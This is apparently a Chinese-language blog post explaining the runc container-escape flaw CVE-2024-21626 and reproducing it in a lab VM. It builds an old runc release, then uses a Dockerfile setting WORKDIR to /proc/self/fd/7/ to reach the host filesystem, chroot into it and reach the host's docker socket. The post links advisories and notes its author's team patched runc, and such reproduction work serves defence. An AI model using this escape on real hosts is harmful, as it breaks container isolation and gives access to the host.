最近很火的一个 CVE,核心问题是 docker (runc) 在运行用户的代码之前,会 O_CLOEXEC
关闭所有的 fd
——这是正确的——但是运行用户代码之前,在 setcwd(2)
的时候,fd
还没有被关闭。这就导致 docker run
和 docker exec
的时候,去通过 -w
参数设置 working directory, 并且设置成一个还没有关闭的 fd
,就能拿到宿主机上的文件路径,从而进入到宿主机。
这个攻击有两个依赖:
- 能够在容器内部执行代码;
- 能够设置容器的 working directory (
docker run
,docker exec
, 甚至docker build
都可以)
演示
在一个全新的 Linux 机器上复现这个攻击。
环境准备
准备一个新的 VM,需要安装的依赖有:
- 依赖 golang 1.22 和
libseccomp-dev
来编译指定版本的 runc; - 依赖 build-essential 编译 runc;
- 依赖 docker engine,指定版本的 runc;
第一步:按照官方文档安装最新版本的 docker。
第二步:替换 runc (最新版已经解决这个问题了)到旧版本,这里我们使用 v1.0.0-rc10
. 编译脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
# install golang wget https://go.dev/dl/go1.22.0.linux-amd64.tar.gz rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.0.linux-amd64.tar.gz export PATH=$PATH:/usr/local/go/bin export GOPATH=~/go go version # install dependencies for building runc apt update apt install -y build-essential libseccomp-dev # compile and install runc cd $GOPATH mkdir -pv src/github.com/opencontainers cd src/github.com/opencontainers git clone https://github.com/opencontainers/runc cd runc git checkout v1.0.0-rc10 export GO111MODULE=auto make sudo make install |
安装完成旧版本的 runc 之后需要重启 docker engine:sudo systemctl restart docker
.
攻击演示
创建一个 Dockerfile:
1 2 3 4 |
FROM ubuntu # Sets the current working directory for this image WORKDIR /proc/self/fd/7/ |
编译这个 docker image: docker build . -t test
。
最后运行这个 docker image: docker run --rm -ti test
.
可能一次运行不会成功,多运行几次会成功。
通过相对路径,我们可以回到 Host 上面的 /
了:
如果我们安装运行 htop,会发现只有自己的容器里面的进程:
但是如果我们改变当前容器的 fs root: chroot .
,再次运行 htop,就可以看到所有的进程了。
但是试了下发送 signal 开 kill 进程是不行的,我猜是因为 pid namespace 仍然是对进程隔离的?
甚至可以在容器内运行docker 命令,看到所有的 container。因为有了 docker
binary 的路径(和权限,因为容器进程也是 root)和 docker socket 的路径。
相关链接:
- Red Hat: https://access.redhat.com/security/cve/cve-2024-21626
- https://bestwing.me/CVE-2024-21626-container-escape.html
- https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/
- 官方公告:https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
我们上周也更新了runc 版本来修复了这个漏洞
内核低于5.6不受影响